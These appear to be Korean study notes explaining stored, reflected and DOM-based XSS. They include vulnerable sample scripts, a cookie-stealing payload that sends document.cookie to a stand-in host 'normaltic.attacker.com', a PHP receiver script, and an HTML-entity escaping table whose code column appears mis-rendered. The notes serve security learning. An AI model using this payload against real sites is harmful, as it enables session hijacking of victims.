XSS
- Stored XSS
<script>badCode</script>
badCode 를 실행하게 된다.
- Reflected XSS
badCode 를 parameter 로 보내고 reflected 된다면 그 Link 로 유도한다.이것을 공격에 어떻게 활용할 것인가에 집중한다.
만약, 내가 웹 서버를 하나 만들어서 `<script>badCode</script>` 를 삽입 해서 뿌리면 되지 않느냐?
→ 세션 탈취는 document.cookie 를 가져온다. 그리고 cookie 는 도메인 별 따로 관리 되어 있다. 따라서, 대상 도메인의 세션 아이디를 가져오고 싶으면 거기서 실행해야 한다.
alert(1) 대신에 무엇을 쓸 것인가? COOKIE 탈취.
test 시
- alert(1)
- alert(document.cookie)
- alert(’xss’)
왜
COOKIE를 탈취해야 하나?
SESSION ID 가 COOKIE 에 저장되므로, 탈취하면 그 사람으로 로그인 할 수 있다.
JS 에서 cookie 를 가져오는 방법.
// document.cookie
var cookieData = document.cookie;
이 얻은 데이터를 공격자의 서버로 전송.
// <img>
var i = new Image()
// <img src="http://normaltic.attacker.com/">
i.src = "http://normaltic.attacker.com/";
데이터를 붙여 보내야 한다. GET 방식으로 보낸다.
var i = new Image()
// http://normaltic.attacker.com/?cookie=Secret_data
i.src = "http://normaltic.attacker.com/?cookie=" +
"Secret_data"
이제 COOKIE 데이터를 붙여 보내면 된다.
var cookieData = document.cookie;
var i = new Image()
i.src = "http://normaltic.attacker.com/?cookie=" + cookieData
이것을 실행하면 img tag 로 이미지 달라고 요청을 COOKIE 데이터를 공격자 서버로 보낸다.
공격자 웹 서버 ( 받아 먹기 )
// getCred.php
<?php
$cookie = $_GET['cookie'];
echo $cookie;
?>
클라이언트 (피해자) browser 요청
var cookieData = document.cookie;
var i = new Image()
i.src = "http://normaltic.attacker.com/getCred.php?cookie=" + cookieData
이제 client 측에 어떻게 삽입하느냐의 전략.
alert(1) 로 실험한 위치 대신 위의 공격 코드를 사용하면 된다. 그러면 피해자의 쿠키 값을 가져올 수 있다.
VPS : 가상 사설 서버.
https://public.requestbin.com/r/
https://tools.dreamhack.games/requestbin
var cookieData = document.cookie;
var i = new Image();
i.src = "[VPS Server]?cookie=" + cookieData;
HTML 기반의 XSS. → JS 로 tag 를 만들 수 있다.
<script>
function trackSearch(query) {
document.write(
'<img src="/resources/images/tracker.gif?searchTerms=' + query + '">'
);
}
var query = (new URLSearchParams(window.location.search)).get('search');
if (query) {
trackSearch(query);
}
</script>
URLSearchParam 해서 경로에 있는 search parameter 를 가져온다.search parameter 안에 있는 데이터를 query 에 넣어서 <img> tag 를 생성한다.이것은 서버에 저장도, 반사도 되는 것이 아니라, browser 에서 조립 되어서 실행 되는 경우가 된다.

요청

응답

이것은 browser 에서 조립한 것.
/* home.php (DOM Based XSS) */
<script>
var i = document.location.href.substring(document.location.href.indexOf("default="));
if(i.indexOf("default") > -1){
document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>");
}
document.write("<OPTION value=2>English</OPTION>");
document.write("<OPTION value=3>French</OPTION>");
document.write("<OPTION value=4>Germany</OPTION>");
document.write("<OPTION value=5>Spanish</OPTION>");
</script>
// ... //
<div align="right"> <button class="btn btn-default" type="submit" onclick="search()">Submit Button</button></div>
/* index.php */
<script type="text/javascript">
function search()
{
var myurl = document.URL;
if(myurl.indexOf("?search=")>0)
{
document.getElementById('srch').innerHTML = "You've searched for "+unescape(myurl.substr(myurl.indexOf("?search=")+8));
}
}
</script>
srch 를 가져와서 바로 조립해서 만든 것.입력한 데이터가 그 화면에 출력 되었는데 응답에는 없는 경우에는 DOMBased 등 일 가능성이 높으므로 쫓아야 한다. 어딘가 JS 가 쓰고 있다는 의미이다. 즉, JS 가 Browser 에서 만들고 있다는 것이다. 그 코드를 찾아서 분석해서 script 를 넣어야 한다.
<script>alert(1)</script>
에서 script 혹은 > , < 등을 필터링 하면 문제가 된다. 따라서 HTML Entity 라는 것으로 막을 수 있다.
HTML-entity
&apos : apostraphe 이고 실제 코드는 '.
| Shortcut | HTML Code | Entity | Description |
|----------|----------------|--------|----------------------|
| :nb | ` ` | | no break space |
| :a | `&` | & | ampersand |
| :c | `©` | © | copyright mark |
| :r | `®` | ® | registration mark |
| :t | `™` | ™ | trademark |
| :m | `—` | — | m-dash |
| :n | `–` | – | n-dash |
| :s | `§` | § | section |
| :' | `'` | ' | apostrophe |
| :h | `‐` | - | hyphen |
| :v | `|` | \| | vertical bar |
| :b | `•` | • | bullet point |
| :at | `@` | @ | at symbol |
| :e | `…` | … | ellipses |
| :in | `∞` | ∞ | infinity symbol |
| :ch | `✓` | ✓ | checkmark |
| :d | `†` | † | dagger |
| :dd | `‡` | ‡ | double dagger |
| :lt | `<` | < | less than |
| :gt | `>` | > | greater than |
| :ls | `‘` | ‘ | left single quote |
| :rs | `’` | ’ | right single quote |
| :lq | `“` | “ | left double quote |
| :rq | `”` | ” | right double quote |
| :\ | `‹` | ‹ | left single angle bracket |
| :/ | `›` | › | right single angle bracket |
| :<< | `«` | « | left double angle bracket |
| :>> | `»` | » | right double angle bracket |
| :1/2 | `½` | ½ | fractions |
HTML-entity 를 사용하게 되면, HTML 특수 문자를 entity 방식으로 바꿔버리면 게시판에서 특수문자를 사용할 수 있고, <'"> 를 막을 수 있다.